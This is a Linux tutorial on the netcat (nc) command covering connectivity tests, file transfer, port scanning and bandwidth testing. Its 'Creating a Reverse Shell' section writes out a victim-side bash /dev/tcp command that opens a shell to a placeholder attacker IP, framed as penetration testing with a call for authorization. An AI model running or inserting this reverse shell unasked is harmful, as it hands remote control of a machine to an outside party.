How to Use the nc Command in Linux

By Anurag Singh

Updated on Dec 11, 2024

How to Use the nc Command in Linux

In this tutorial, we'll learn how to use the nc command in Linux.

The nc (Netcat) command in Linux is a powerful and versatile networking utility that allows users to interact with network connections. It is often described as the "Swiss army knife" of networking because of its wide range of functionalities, including port scanning, file transfer, and acting as a server or client for TCP/UDP communications.

Prerequisites

Before getting started, ensure you have the following:

  • A KVM VPS or dedicated server with any Linux distro installed.
  • A non-root user with sudo privileges.
  • Basic knowledge of Linux commands.

How to Use the nc Command in Linux

Understanding the Basics of nc

Before diving into advanced usage, let's explore the basic structure of the nc command. Its general syntax is:

nc [options] <hostname> <port>
  • <hostname>: Specifies the target host’s IP address or domain name.
  • <port>: Specifies the port number for the connection.
  • [options]: Configures various aspects of the behavior.

You can install nc using your distribution’s package manager. On Ubuntu, for instance:

sudo apt update && sudo apt install netcat

Or for Red Hat-based distributions:

sudo dnf install nc

Common Use Cases for nc

1. Testing Connectivity

The simplest use of nc is to test if a specific port on a host is open.

nc -zv <hostname> <port>
  • -z: Enables scanning mode without sending data.
  • -v: Verbose output.

For example:

nc -zv example.com 80

If the port is open, the output will indicate a successful connection.

2. Creating a Simple Chat

You can use nc to set up a basic chat server and client.

On the server side (listening mode):

nc -l 12345

On the client side (connecting to the server):

nc <server_IP> 12345

Anything typed on either side will appear on the other, simulating a chat.

3. Transferring Files

Netcat can send and receive files over a network.

On the receiving end (listening mode):

nc -l 12345 > received_file

On the sending end:

cat file_to_send | nc <receiver_IP> 12345

The file will be transmitted linearly over the connection.

Advanced Features of nc

1. Port Scanning

Netcat can scan for open ports on a target host:

nc -zv <hostname> 1-65535

This scans all ports from 1 to 65535. Add -n to disable DNS resolution for faster scanning.

2. Acting as a Web Server

You can use nc to simulate a simple HTTP server. Run the following command:

echo -e "HTTP/1.1 200 OK\n\nHello, World!" | nc -l 8080

Access it from a browser using http://<server_IP>:8080, and you’ll see "Hello, World!" in the response.

3. Creating a Reverse Shell

Netcat can be used for troubleshooting or penetration testing by establishing a reverse shell. Use this responsibly.

On the listening end (attacker):

nc -l 4444

On the target machine (victim):

bash -i >& /dev/tcp/<attacker_IP>/4444 0>&1

The attacker will gain a shell from the victim machine. Ensure you have proper authorization before using this.

4. Bandwidth Testing

Send a large file or stream data to measure network throughput.

On the receiving end:

nc -l 12345 > /dev/null

On the sending end:

dd if=/dev/zero bs=1M count=1024 | nc <receiver_IP> 12345

This sends a 1GB stream of zeros to the receiver, useful for testing bandwidth.

5. Use the nc Command with Compression

Netcat does not natively support compression, but you can combine it with compression tools like gzip or bzip2 to compress data before transfer.

On the receiving end:

nc -l 12345 | gzip -d > received_file

On the sending end:

gzip -c file_to_send | nc <receiver_IP> 12345

This setup compresses the file before transmission, reducing bandwidth usage and potentially speeding up the transfer.

Security Considerations

While nc is powerful, it can also be exploited if misused. To use nc securely:

  • Restrict Listening Ports: Only open ports that are necessary.
  • Use Firewalls: Protect listening services using a firewall to restrict access.
  • Avoid Unencrypted Transfers: nc does not encrypt data by default. Consider using ncat (from the Nmap project), which supports SSL/TLS.

Conclusion

The nc command is a robust tool that caters to a variety of networking needs, from simple connectivity checks to advanced debugging and data transfer. With its versatility, it remains a staple for Linux users managing networks. By understanding its basic and advanced features, you can unlock its full potential while adhering to best practices for secure usage.